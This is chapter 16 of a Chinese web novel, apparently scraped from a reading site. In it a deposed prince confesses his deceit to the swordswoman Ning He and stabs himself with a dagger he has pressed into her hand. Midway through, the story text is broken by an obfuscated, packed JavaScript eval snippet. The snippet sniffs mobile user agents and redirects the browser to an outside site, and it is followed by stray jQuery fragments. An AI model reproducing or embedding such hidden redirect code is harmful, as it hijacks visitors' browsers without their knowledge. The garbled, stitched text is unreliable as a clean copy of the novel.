16.第16章

作品:《既见青禾

    “宁娘子,坐下说罢。”


    段沉玉的嗓音柔和,如微风在寂静中荡开。


    宁禾盯着他看了片刻,最终依言走到他对面,拂了拂衣摆,端端正正地跪坐了下来,腰背挺拔如同雪中青松。


    两人之间,隔着那柄寒光凛凛的匕首。


    宁禾皱眉看着他,不耐烦催促:“有话快说。”


    段沉玉垂下眼,双手搭在膝上,衣袖曳地,嗓音干涩:“宁娘子,玉…骗了你。”


    “我并非什么商贾之子,也并非被族叔追杀,”他顿了顿,抬眸看着宁禾,神情惭愧:“我是大晋废太子,段兰卿。”


    宁禾怔住,随之愕然看向他。


    她没想到他会这么巧合坦白,更没想到沈玉身份这般不简单。


    宁禾狐疑打量他的神色,只见少年眸光清凌凌,坦然应对她的目光。


    她心思百转,回忆着曾经听到过的大晋前太子消息。


    大晋前太子,名沉玉,字兰卿,年十七,美名远扬,却在将近两年前因谋反被废,囚于永巷。


    期间并未有他出逃的消息。


    段沉玉看宁禾默不作声,便继续道:


    “两年前,我意图扶植寒门,废除中正选官,因此与士族产生分歧。与我一母同胞的三弟段念玉,联手东平王、母后和外祖琅琊王氏,以谋逆罪构陷我。”


    “父皇年事已高,糊涂之下听信谗言废黜了我,囚于永巷。一年前父皇暴毙,段念玉继位,原东宫旧部多被诛杀。不久我得到消息,新帝欲斩草除根,我深知留下只是以卵击石,遂与旧部和亲卫突围,从建康东逃。一路上追杀不断,侍卫战死大半,我逃脱后幸得娘子相救。”


    少年抬起眼,目光穿透黑暗,直直落在宁禾脸上:“利用娘子,是无奈之举。玉势单力薄,若想复仇,需得釜底抽薪,借秦帝之手。”


    他平静叙述,放在膝上的手,指节微微蜷缩。


    窗外的风似乎大了一些,吹得窗纸作响,桂花香和屋内檀香缠绕。


    宁禾脸色越来越冰冷,她咬牙切齿,“所以,你知道那些跟踪我的人是为何而来?”


    “是。”


    段沉玉回答得没有半分犹豫,“我在建康宫内的秘档中,曾见过关于秦国密卷。其中一卷记载,约十六年前,秦国名将燕云将军并非战死,而是假死脱身,潜逃至我东晋,怀中抱一未足岁的女婴。密卷中推测,那女婴身世不凡,极可能是秦国某位位高权重之臣的血脉,只是当时查不出具体是谁。”


    他叹了口气,继续道:“你师父正是燕云将军,而你便是那女婴。我选择你,正是因为你是某位秦国重臣之女,这或许能成为我进入秦国朝堂的契机。这是我当时能想到的,最快也是最可能成功的路径。”


    窗外忽然狂风大作,随着段沉玉话音落下,雨声淅淅沥沥响起,敲打在屋顶和庭院的草木上,由疏而密,很快连成一片雨幕。


    雨声侵入室内的寂静,带来了潮湿的凉意,也仿佛将外界彻底隔绝。


    秋雨寒凉,宁禾只觉得一股寒意从脚底窜上脊背。


    原来从一开始,所谓的相遇、同行都建立在一场精心算计之上。


    她师父十六年前传出“醉花剑”的名声,燕云将军也是十六年前死亡。


    宁禾知道,段沉玉十有八九说的是真的。


    师父就是燕云将军,是秦人。


    她握紧了拳,冷冷盯着段沉玉,喉咙发堵:“你知道我师父死因?”


    段沉玉沉默了片刻,才缓缓点头:“密卷中语焉不详,只提及燕云将军隐匿大晋后,似乎仍被某些来自秦国的势力追索。她病故的时间蹊跷,过程模糊。我虽无确凿证据,但三年前秦地内乱,我猜她的死与秦国的某些人脱不了干系。或许是为了灭口,或许是为了你,这个可能存在的‘隐患’。”


    室内陷入死寂,唯有雨声潇潇。


    师父的确是三年前旧疾复发,一年前身死。


    愤怒、悲伤、被欺骗的痛恨交织在一起,宁禾感觉自己耳膜都在疯狂鼓动,浑身的血液凝固。


    她狠狠闭上眼,眼前浮现师父懒散不正经的模样、浮现师父弹她额头,叫她“小阿禾臭丫头”,浮现师父死前,握着她的手说出那几条戒律。


    师父说在稻田旁捡了她,所以她叫宁禾。


    师父说希望她能像禾苗一般有旺盛的生命力,不惧风雨,好好赚钱给她养老。


    可不等她赚够钱金盆洗手,师父便一走了之,死于她这不明不白的身世。


    那样敢爱敢恨的一个人,那样睚眦必报的人,死前却拉着她的手,定下那畏首畏尾的戒律。


    只是因为怕她涉险,怕她命丧黄泉。


    悲恨交加,眼眶和鼻尖发酸,她喉头滚动,把泪水用力咽下去。


    良久,她深吸一口气终于把泪水逼回去,睁开一双泛红的眼,死死盯着段沉玉,从牙缝里挤出一句话:“我凭什么相信你?就凭你这张来历不明的嘴?”


    段沉玉苦笑:“我知我欺骗你在先,百口莫辩。最初接近你,确只存了利用之心。可人非草木,这一路同行,生死与共,宁娘子,我对你……焉能没有半分真情?”


    雨水顺着窗沿淌下,在室内投下晃动的水光,映得他脸上明暗不定。


    他神情哀伤,声音低沉下去,带着恳求的意味:“我知求得你原谅是厚颜无耻、痴人说梦,只是玉还是想恳请娘子能给玉一个悔过补偿的机会。”


    “悔过?补偿?”宁禾简直要被气笑了,“你个一无所有的逃犯,拿什么悔?用什么偿?”


    段沉玉笑容苦涩,神情带着近乎绝望的坦然:“我如今身无长物,除了这条命,这具肉身。”


    他垂下眼,拾起了身前的匕首。


    冷白修长的手握着漆黑的刀柄,银光泠泠的匕身翻转,映出少年黑玉般的眼。


    他抬起眼帘,眸中泛着水光,在宁禾痛恨冰冷的目光中,温热的手掌覆上了她紧握的拳,轻轻掰开她的手指,将匕首的柄端,稳稳放入她掌心。


    段沉玉坐正了身子,目光沉静清凌,定定注视着宁禾,“玉这条命是娘子救下的,若你心中恨意难消……”


    他微微扬唇,眸光却死寂悲戚,徐徐吐出一句话来:“那便由你亲手取回罢。反正……复仇之事,如今看来也已是镜花水月,无望了。”


    最后三个字轻飘飘的,夹杂着叹息。


    宁禾微怔,低头看向掌心的匕首。


    冷芒如霜,是削铁如泥的利刃。


    她抬眼,看着段沉玉黑暗中苍白脆弱的脸,心头怒火与一种难以言喻的酸楚齐齐涌上来。


    她握着那柄匕首,尖锋指向他,咬牙恨声:“段兰卿,你当真以为我不会杀你吗?!”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416239|183547||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “你以为你是什么东西!”


    段沉玉没有回答,只是静静看着宁禾。


    骤雨忽小,乌云褪去一片,月光穿透空袭,在他侧脸蒙上光晕。


    忽然他以膝代步,向前挪动了几步。


    动作间,披散如瀑的乌发随之滑落肩头,几缕发丝垂落在他润白的颊边。


    宁禾警惕看着他,做好了一剑杀了他的准备。


    段沉玉身体毫无征兆前倾,发丝垂落扫过她的手背。他张开一只手臂,如同白鹤展羽,轻轻搂住了她的肩背。


    他把她虚笼在怀中,下巴搁在她肩上,发丝若流水垂洒于她肩颈,柔软冰凉。


    “是玉对不住你。”


    如兰气息在耳畔流转,温暖的怀抱阻隔秋雨的冷。


    这个拥抱来得太过突然,宁禾浑身一僵,只觉自己被清雅的兰草香包裹。


    还未等她反应过来,便感觉到握刀的手被一只宽大的手掌包裹住,微微上移,似乎抵上了心口,往前一送。


    她只来得及猛地下压自己的手。


    “噗嗤”


    利刃刺破皮肉。


    “噼啪!”


    闪电同时劈开夜空,照亮了一瞬屋内的场景。


    一白一黑身影拥抱纠缠,衣袂交叠,本该是耳鬓厮磨的旖旎画面,却偏生二人腹部横亘着一把匕首。


    檀香逸出最后一丝烟气,归于沉寂。


    段沉玉的眸光如同一潭死水,平静而冷漠。


    温热的液体流淌到宁禾手上,她闻到一股浓烈的血腥味。


    宁禾懵住,下意识就想向后挣脱。


    段沉玉搂着她的手臂收紧,紧紧握着她的手,将匕首又往自己腹部送了一寸。


    “玉…对不住你,恳请娘子……原谅。”


    清润的声线断断续续在耳畔响起,她感觉到他压抑急促的呼吸。


    汹涌的热流涌出,宁禾黑色的夜行衣被被染深一片。


    她甚至能感受到血液透过她的衣料,濡湿贴在她腰腹。


    “你个疯子!”


    宁禾回过神,一把将段沉玉推开,自己也踉跄着站了起来。


    她心脏狂跳不止,低头看自己的手,上面沾满了鲜红温热的血液,匕首还在往下滴血,滴滴答答如红梅印在竹簟上。


    段沉玉被推得向后跌坐,腹部的伤口血流如注,迅速染红了他雪白的衣袍。


    雨彻底停歇,浓云渐渐飘散,月光毫无保留地照亮了他的脸。


    苍白如雪,唇失艳色,唯有一双眼睛,如同浸在水底的黑琉璃,倒映着她惊怒交加的神情。


    他却仿佛感觉不到疼痛一般,只是仰着头,静静望着她,秀雅的面容漾出一抹笑,如幽昙一现。


    “人生在世,知己难求。”


    段沉玉声音因剧痛而微弱,眸光带着令人心惊的真挚。


    “阿禾,请允许玉如此唤你。我这十七载,算计良多,负人亦多。唯独对你……若能以此肉身,换得你谅解,死又何妨?”


    “阿禾,方才只是腹部,你若依旧不解恨,便用手中的匕首,杀了我罢。”


    “死在你手中……”


    他话语一顿,闭上眼眉心微拧,额头冷汗淋漓,似乎在勉力忍耐疼痛,几息后才喘了口气,睁开眼望着宁禾,缓缓吐出后半句。


    “玉,不悔。”